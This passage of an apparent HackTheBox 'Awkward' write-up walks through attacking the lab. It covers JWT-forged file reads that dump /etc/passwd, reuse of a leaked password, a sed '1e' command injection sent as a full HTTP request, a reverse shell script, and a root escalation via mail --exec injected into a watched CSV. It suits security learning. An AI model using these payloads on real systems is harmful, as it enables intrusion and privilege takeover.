I get:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ldGMvcGFzc3dkICciLCJpYXQiOjE2NzEwMTYzNDV9.LWlcpxTk5MgZVyVDa5Ltadtq5iBpMyX2cMA_CZjr6EE
I set the token value and do an HTTP GET to
http://hat-valley.htb/api/all-leave
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:102:105::/nonexistent:/usr/sbin/nologin systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin syslog:x:104:111::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:115::/run/uuidd:/usr/sbin/nologin systemd-oom:x:108:116:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin tcpdump:x:109:117::/nonexistent:/usr/sbin/nologin avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin avahi:x:114:121:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin rtkit:x:116:123:RealtimeKit,,,:/proc:/usr/sbin/nologin whoopsie:x:117:124::/nonexistent:/bin/false sssd:x:118:125:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false nm-openvpn:x:120:126:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin saned:x:121:128::/var/lib/saned:/usr/sbin/nologin colord:x:122:129:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin geoclue:x:123:130::/var/lib/geoclue:/usr/sbin/nologin pulse:x:124:131:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false hplip:x:126:7:HPLIP system user,,,:/run/hplip:/bin/false gdm:x:127:133:Gnome Display Manager:/var/lib/gdm3:/bin/false bean:x:1001:1001:,,,:/home/bean:/bin/bash christine:x:1002:1002:,,,:/home/christine:/bin/bash postfix:x:128:136::/var/spool/postfix:/usr/sbin/nologin mysql:x:129:138:MySQL Server,,,:/nonexistent:/bin/false sshd:x:130:65534::/run/sshd:/usr/sbin/nologin _laurel:x:999:999::/var/log/laurel:/bin/false
I try to read notable files:
/' /var/www/hat-valley.htb/config.js '
→Failed to retrieve leave requests
→ doesn’t exist or I can’t read/' /var/www/hat-valley.htb/config.json '
→Failed to retrieve leave requests
→ doesn’t exist or I can’t read/' /var/www/hat-valley.htb/config/default.json '
→Failed to retrieve leave requests
→ doesn’t exist or I can’t read/' /var/www/private/config.js '
→Failed to retrieve leave requests
→ doesn’t exist or I can’t read/' /var/www/private/config.json '
→Failed to retrieve leave requests
→ doesn’t exist or I can’t read/' /var/www/private/config/default.json '
→Failed to retrieve leave requests
→ doesn’t exist or I can’t read/' /home/christine/.ssh/id_rsa '
→Failed to retrieve leave requests
→ doesn’t exist or I can’t read/' /home/christine/.bash_history '
→Failed to retrieve leave requests
→ doesn’t exist or I can’t read/' /home/christine/.gitconfig '
→Failed to retrieve leave requests
→ doesn’t exist or I can’t read/' /home/christine/.bashrc '
→Failed to retrieve leave requests
→ doesn’t exist or I can’t read/' /home/bean/.ssh/id_rsa '
→Failed to retrieve leave requests
→ doesn’t exist or I can’t read/' /home/bean/.bash_history '
→Failed to retrieve leave requests
→ doesn’t exist or I can’t read/' /home/bean/.gitconfig '
→Failed to retrieve leave requests
→ doesn’t exist or I can’t read/' /home/bean/.bashrc '
→ I can read it
this part was quite tedious because I tried dozens of files in the web server without results because I didn’t imagine that I could also enter user’s home relative paths like
bean
the last path was successful and in fact I can read the file:
# ~/.bashrc: executed by bash(1) for non-login shells. # see /usr/share/doc/bash/examples/startup-files (in the package bash-doc) # for examples # ... # # custom alias backup_home='/bin/bash /home/bean/Documents/backup_home.sh' # ... #
I read the file with the same method:
/home/bean/Documents/backup_home.sh
#!/bin/bash mkdir /home/bean/Documents/backup_tmp cd /home/bean tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz . date > /home/bean/Documents/backup_tmp/time.txt cd /home/bean/Documents/backup_tmp tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz . rm -r /home/bean/Documents/backup_tmp
I download the file:
/' /home/bean/Documents/backup/bean_backup_final.tar.gz '
the file seems corrupted:
tar xzf bean_backup_final.tar.gz
gzip: stdin: unexpected end of file
I use then:
gzrecover bean_backup_final.tar.gz
I get:
bean_backup_final.tar.recovered
I extract the content in:
bean_backup_final
-rw-r--r-- 1 user user 32344 Sep 15 13:46 bean_backup.tar.gz -rw-r--r-- 1 user user 30 Sep 15 13:46 time.txt
I extract the content of:
bean_backup.tar.gz
there are so many files, I had to spend some time and analyze them all:
.ssh
→ emptyDesktop
→ emptyDocuments
→backup backup_home.sh backup_tmp
Downloads
→ emptyMusic
→ emptyPictures
→ emptyPublic
→ emptysnap
→snapd-desktop-integration
→ https://snapcraft.io/install/snapd-desktop-integration/ubuntu → nothing interestingTemplates
→ emptyVideos
→ empty.local
→applications evolution flatpak gnome-settings-daemon gnome-shell gvfs-metadata ibus-table icc keyrings nano nautilus recently-used.xbel session_migration-ubuntu sounds
→ nothing interesting.config
autostart
→xpad.desktop
dconf evolution gnome-initial-setup-done goa-1.0 gtk-3.0 ibus nautilus pulse update-notifier user-dirs.dirs user-dirs.locale
→ nothing interestingxpad
→content-DS1ZS1 default-style info-GQ1ZS1
→ they are sticky notes ofbean
file:
content-DS1ZS1
TO DO: - Get real hat prices / stock from Christine - Implement more secure hashing mechanism for HR system - Setup better confirmation message when adding item to cart - Add support for item quantity > 1 - Implement checkout system boldHR SYSTEM/bold bean.hill 014mrbeanrules!#P https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html boldMAKE SURE TO USE THIS EVERYWHERE ^^^/bold
I have the System Administrator login:
bean.hill : 014mrbeanrules!#P
as written in the note (MAKE SURE TO USE THIS EVERYWHERE) I could try if I can also login with SSH:
sshpass -p '014mrbeanrules!#P' ssh bean@10.10.11.185
bingo!
- Staff Details (
Privesc bean
- here’s why the previous reading of the files in the
bean
home worked:ls -al /home/
drwxr-xr-x 17 bean bean 4096 Oct 6 01:35 bean drwxr-x--- 2 christine christine 4096 Sep 15 21:39 christine
ls -al /home/bean/
lrwxrwxrwx 1 bean bean 9 Sep 15 21:40 .bash_history -> /dev/null -rw-r--r-- 1 bean bean 220 Sep 15 21:34 .bash_logout -rw-r--r-- 1 bean bean 3847 Sep 15 21:45 .bashrc drwx------ 9 bean bean 4096 Sep 22 14:30 .cache drwx------ 13 bean bean 4096 Oct 6 01:35 .config drwxr-xr-x 2 bean bean 4096 Sep 15 21:35 Desktop drwxr-xr-x 3 bean bean 4096 Sep 15 21:46 Documents drwxr-xr-x 2 bean bean 4096 Sep 15 23:03 Downloads drwx------ 3 bean bean 4096 Dec 15 00:24 .gnupg drwx------ 3 bean bean 4096 Sep 15 21:35 .local drwxr-xr-x 2 bean bean 4096 Sep 15 21:35 Music drwxrwxr-x 4 bean bean 4096 Oct 6 01:35 .npm drwxr-xr-x 2 bean bean 4096 Sep 15 21:35 Pictures -rw-r--r-- 1 bean bean 807 Sep 15 21:34 .profile drwxr-xr-x 2 bean bean 4096 Sep 15 21:35 Public drwx------ 4 bean bean 4096 Sep 15 21:55 snap drwx------ 2 bean bean 4096 Sep 15 21:36 .ssh drwxr-xr-x 2 bean bean 4096 Sep 15 21:35 Templates -rw-r----- 1 root bean 33 Dec 14 22:10 user.txt drwxr-xr-x 2 bean bean 4096 Sep 15 21:35 Videos
there were no clues unfortunately, in fact it was quite a tedious part guessing the readable files
ls -al /var/www/
drwxr-xr-x 6 root root 4096 Oct 6 01:35 hat-valley.htb drwxr-xr-x 2 root root 4096 Oct 6 01:35 html drw-rwx--- 5 root www-data 4096 Dec 14 22:10 .pm2 dr-xr-x--- 2 christine www-data 4096 Oct 6 01:35 private drwxr-xr-x 9 root root 4096 Oct 6 01:35 store
I can see the files inside the store (others):
drwxr-xr-x 9 root root 4096 Oct 6 01:35 . drwxr-xr-x 7 root root 4096 Oct 6 01:35 .. drwxrwxrwx 2 root root 4096 Dec 15 02:04 cart -rwxr-xr-x 1 root root 3664 Sep 15 20:09 cart_actions.php -rwxr-xr-x 1 root root 12140 Sep 15 20:09 cart.php -rwxr-xr-x 1 root root 9143 Sep 15 20:09 checkout.php drwxr-xr-x 2 root root 4096 Oct 6 01:35 css drwxr-xr-x 2 root root 4096 Oct 6 01:35 fonts drwxr-xr-x 6 root root 4096 Oct 6 01:35 img -rwxr-xr-x 1 root root 14770 Sep 15 20:09 index.php drwxr-xr-x 3 root root 4096 Oct 6 01:35 js drwxrwxrwx 2 root root 4096 Dec 15 02:00 product-details -rwxr-xr-x 1 root root 918 Sep 15 20:09 README.md -rwxr-xr-x 1 root root 13731 Sep 15 20:09 shop.php drwxr-xr-x 6 root root 4096 Oct 6 01:35 static -rwxr-xr-x 1 root root 695 Sep 15 20:09 style.css
ls -al /var/mail/
-rw------- 1 christine mail 40283 Dec 15 00:20 christine -rw------- 1 root mail 85534 Dec 15 00:24 root
sudo -l
(with password014mrbeanrules!#P
)Sorry, user bean may not run sudo on awkward.
- I look at the server side configuration:
/etc/nginx/sites-enabled/hat-valley.htb.conf
server { listen 80; server_name hat-valley.htb; root /var/www/hat-valley.htb; location / { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_pass http://127.0.0.1:8080; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; } }
for this reason accessing
http://127.0.0.1:8080
with the SSRF does not work/etc/nginx/sites-enabled/store.conf
server { listen 80; server_name store.hat-valley.htb; root /var/www/store; location / { index index.php index.html index.htm; } location ~ /cart/.*\.php$ { return 403; } location ~ /product-details/.*\.php$ { return 403; } location ~ \.php$ { auth_basic "Restricted"; auth_basic_user_file /etc/nginx/conf.d/.htpasswd; fastcgi_pass unix:/var/run/php/php8.1-fpm.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name; include fastcgi_params; } }
inside
/etc/nginx/conf.d/.htpasswd
I findadmin:$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1
https://runebook.dev/it/docs/nginx/http/ngx_http_auth_basic_module
openssl passwd -apr1 >> /etc/nginx/.htpasswd
-apr1 - Use the apr1 algorithm (Apache variant of the BSD algorithm).
hashcat --help | grep apr
1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR) | FTP, HTTP, SMTP, LDAP Server
example from https://hashcat.net/wiki/doku.php?id=example_hashes:
$apr1$71850310$gh9m4xcAn3MGxogwX/ztb.
so I omit the username and write on the file
hash2.txt
only$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1
I start the attack:
hashcat -m 1600 -a 0 hash2.txt /usr/share/wordlists/rockyou.txt -O
the password cannot be cracked so (MAKE SURE TO USE THIS EVERYWHERE) I reuse the
bean
credentials and login tohttp://store.hat-valley.htb/
with theadmin : 014mrbeanrules!#P
credentialsbingo!
-
I visit the
http://store.hat-valley.htb
website as a logged in userclient side for the
shop.php
page I see:<script> function generateUniqSerial() { return 'xxxx-xxxx-xxx-xxxx'.replace(/[x]/g, (c) => { const r = Math.floor(Math.random() * 16); return r.toString(16); }); } function checkUser() { if(!localStorage.getItem("user")) { localStorage.setItem("user", generateUniqSerial()) } } function addToCart(item, user) { $.ajax({ type: "post", url: 'cart_actions.php', data:{item: item.getAttribute("data-id"), user: user, action: 'add_item'}, success:function(data) { alert(data) } }); } </script> ... <body onload="checkUser();"> ... <div data-id="1" onclick="addToCart(this, localStorage.getItem('user'))" class="add-to-cart-btn" style = "margin-top: 15px !important; cursor: pointer;">ADD TO CART</div>
client side for the
cart.php
page I see:<script> function setupCart() { checkUser(); fetchCart(); } function generateUniqSerial() { return 'xxxx-xxxx-xxx-xxxx'.replace(/[x]/g, (c) => { const r = Math.floor(Math.random() * 16); return r.toString(16); }); } function checkUser() { if(!localStorage.getItem("user")) { localStorage.setItem("user", generateUniqSerial()) } } function fetchCart() { $.ajax({ type: "get", url: 'cart_actions.php', data:{user: localStorage.getItem("user"), action: 'fetch_items'}, success:function(data) { if(data.length === 0) { document.getElementById("store-cart").innerHTML += "<td colspan=4 class='no-items'>Well, this is awkward... you have no items in your cart. Get shopping!</td>" } else { document.getElementById("store-cart").innerHTML += data } } }); } function removeFromCart(item, user) { $.ajax({ type: "post", url: 'cart_actions.php', data:{item: item.getAttribute("data-id"), user: user, action: 'delete_item'}, success:function(data) { alert(data) location.reload() } }); } </script> ... <body onload="setupCart()"> ...
server side (I can read the sources → others permissions) I see
cart_actions.php
:<?php $STORE_HOME = "/var/www/store/"; //check for valid hat valley store item function checkValidItem($filename) { if(file_exists($filename)) { $first_line = file($filename)[0]; if(strpos($first_line, "***Hat Valley") !== FALSE) { return true; } } return false; } //add to cart if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'add_item' && $_POST['item'] && $_POST['user']) { $item_id = $_POST['item']; $user_id = $_POST['user']; $bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!! foreach($bad_chars as $bad) { if(strpos($item_id, $bad) !== FALSE) { echo "Bad character detected!"; exit; } } foreach($bad_chars as $bad) { if(strpos($user_id, $bad) !== FALSE) { echo "Bad character detected!"; exit; } } if(checkValidItem("{$STORE_HOME}product-details/{$item_id}.txt")) { if(!file_exists("{$STORE_HOME}cart/{$user_id}")) { system("echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}"); } system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}"); echo "Item added successfully!"; } else { echo "Invalid item"; } exit; } //delete from cart if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'delete_item' && $_POST['item'] && $_POST['user']) { $item_id = $_POST['item']; $user_id = $_POST['user']; $bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!! foreach($bad_chars as $bad) { if(strpos($item_id, $bad) !== FALSE) { echo "Bad character detected!"; exit; } } foreach($bad_chars as $bad) { if(strpos($user_id, $bad) !== FALSE) { echo "Bad character detected!"; exit; } } if(checkValidItem("{$STORE_HOME}cart/{$user_id}")) { system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}"); echo "Item removed from cart"; } else { echo "Invalid item"; } exit; } //fetch from cart if ($_SERVER['REQUEST_METHOD'] === 'GET' && $_GET['action'] === 'fetch_items' && $_GET['user']) { $html = ""; $dir = scandir("{$STORE_HOME}cart"); $files = array_slice($dir, 2); foreach($files as $file) { $user_id = substr($file, -18); if($user_id === $_GET['user'] && checkValidItem("{$STORE_HOME}cart/{$user_id}")) { $product_file = fopen("{$STORE_HOME}cart/{$file}", "r"); $details = array(); while (($line = fgets($product_file)) !== false) { if(str_replace(array("\r", "\n"), '', $line) !== "***Hat Valley Cart***") { //don't include first line array_push($details, str_replace(array("\r", "\n"), '', $line)); } } foreach($details as $cart_item) { $cart_items = explode("&", $cart_item); for($x = 0; $x < count($cart_items); $x++) { $cart_items[$x] = explode("=", $cart_items[$x]); //key and value as separate values in subarray } $html .= "<tr><td>{$cart_items[1][1]}</td><td>{$cart_items[2][1]}</td><td>{$cart_items[3][1]}</td><td><button data-id={$cart_items[0][1]} onclick=\"removeFromCart(this, localStorage.getItem('user'))\" class='remove-item'>Remove</button></td></tr>"; } } } echo $html; exit; } ?>
NOTE: for simplicity I set in the browser’s LocalStorage:
user : 1
NOTE: it’s important to add at least one item to the cart to create the path
/var/www/store/cart/1
three
system("...");
are used, it is very likely that there is a command injection vulnerability:-
system("echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}");
-
system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}");
-
system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
I notice that the
checkValidItem()
function is called on"{$STORE_HOME}product-details/{$item_id}.txt"
to add an item while it is called on"{$STORE_HOME}cart/{$user_id}"
to delete an itemI’m not convinced by the curly braces in the path, I do a local test:
php -a
php > $STORE_HOME = "/var/www/store/"; php > $item_id = 1; php > $user_id = 2; php > echo "{$STORE_HOME}cart/{$user_id}"; /var/www/store/cart/2
everything OK, I don’t have to worry about the curly braces
look at: https://gtfobins.github.io/gtfobins/sed/ →
sed -n '1e id' /etc/hosts
if(checkValidItem("{$STORE_HOME}cart/{$user_id}")) { system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}"); echo "Item removed from cart"; }
the checks are on the
$user_id
, so I focus on the$item_id
executed command:
sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}
sed
man page references:-
-i[SUFFIX], --in-place[=SUFFIX] edit files in place (makes backup if extension supplied). The default operation mode is to break symbolic and hard links. This can be changed with --follow-symlinks and --copy.
-
-e script, --expression=script add the script to the commands to be executed
-
https://www.gnu.org/software/sed/manual/html_node/Multiple-commands-syntax.html
-
-e '1e command'
the
1
identifies the line and thee
identifies the command to be executed
example:echo 'date id' | tr ' ' '\n' | sed '1e'
→ executedate
command
example:echo 'date id' | tr ' ' '\n' | sed '2e'
→ executeid
command
example:echo './test.sh' | sed '1e'
→ executes the script in the current directory
exploit:
- PREFIX:
sed -i '/item_id=
- EXPLOIT:
' -e '1e /tmp/shell.sh' '
- SUFFIX:
/d' /var/www/store/cart/1
final command:
sed -i '/item_id=' -e '1e /tmp/shell.sh' '/d' /var/www/store/cart/1
NOTE: inside
/tmp/shell.sh
I put the classic BASH reverse shellI can run the exploit:
POST /cart_actions.php HTTP/1.1 Host: store.hat-valley.htb Content-Length: 64 Authorization: Basic YWRtaW46MDE0bXJiZWFucnVsZXMhI1A= Accept: */* DNT: 1 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://store.hat-valley.htb Referer: http://store.hat-valley.htb/cart.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 sec-gpc: 1 Connection: close item='%20-e%20'1e%20/tmp/shell.sh'%20'&user=1&action=delete_item
-
Privesc www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ps faxu | grep root
root 1013 0.0 0.0 2988 1148 ? S 04:55 0:00 \_ inotifywait --quiet --monitor --event modify /var/www/private/leave_requests.csv root 1014 0.0 0.0 18624 1776 ? S 04:55 0:00 \_ /bin/bash /root/scripts/notify.sh
inotifywait
command is monitoring changes to file/var/www/private/leave_requests.csv
-
I run
./pspy64
to see what happens after a modification of the file/var/www/private/leave_requests.csv
in another terminal:
echo 'test123456' >> leave_requests.csv
2022/12/15 08:46:42 CMD: UID=0 PID=6040 | tail -1 /var/www/private/leave_requests.csv 2022/12/15 08:46:42 CMD: UID=0 PID=6043 | awk -F, {print $1} 2022/12/15 08:46:42 CMD: UID=0 PID=6042 | /bin/bash /root/scripts/notify.sh 2022/12/15 08:46:42 CMD: UID=0 PID=6041 | /bin/bash /root/scripts/notify.sh 2022/12/15 08:46:42 CMD: UID=0 PID=6044 | /bin/bash /root/scripts/notify.sh 2022/12/15 08:46:42 CMD: UID=0 PID=6045 | mail -s Leave Request: test123456 christine 2022/12/15 08:46:42 CMD: UID=0 PID=6046 | /usr/sbin/sendmail -oi -f root@awkward -t 2022/12/15 08:46:42 CMD: UID=0 PID=6047 | /usr/sbin/postdrop -r 2022/12/15 08:46:42 CMD: UID=128 PID=6048 | cleanup -z -t unix -u -c 2022/12/15 08:46:42 CMD: UID=0 PID=6049 | trivial-rewrite -n rewrite -t unix -u -c 2022/12/15 08:46:42 CMD: UID=0 PID=6050 | local -t unix
an email is sent as root and my string appears as subject:
mail -s Leave Request: test123456 christine
look at: https://gtfobins.github.io/gtfobins/mail/ →
mail --exec='!/bin/sh'
inside
/tmp/privesc.sh
I put any BASH command to get a privileged shell: SUID BIT, revshell, etc…echo '\ --exec="!/tmp/privesc\.sh" -u' >> leave_requests.csv
thanks to the execution of
/tmp/privesc.sh
I got root privileges - the command used in the
notify.sh
script was:inotifywait --quiet --monitor --event modify /var/www/private/leave_requests.csv | while read; do change=$(tail -1 /var/www/private/leave_requests.csv) name=`echo $change | awk -F, '{print $1}'` echo -e "You have a new leave request to review!\n$change" | mail -s "Leave Request: "$name christine done
debugging with
set -x
:-
name=$(echo '\ --exec="!/tmp/privesc\.sh" -u' | awk -F, '{print $1}')
<xec="!/tmp/privesc\.sh" -u' | awk -F, '{print $1}') ++ awk -F, '{print $1}' ++ echo '\ --exec="!/tmp/privesc\.sh" -u' + name='\ --exec="!/tmp/privesc\.sh" -u'
-
mail -s "Leave Request: "$name christine
+ mail -s 'Leave Request: \' '--exec="!/tmp/privesc\.sh"' -u christine
I then get server side this command:
mail -s 'Leave Request: \' '--exec="!/tmp/privesc\.sh"' -u christine
I thought the space before the
--exec
was being ignored so I added a\
here is the final command that is actually executed:
mail -s Leave Request: '--exec="!/tmp/privesc\.sh"' -u christine
-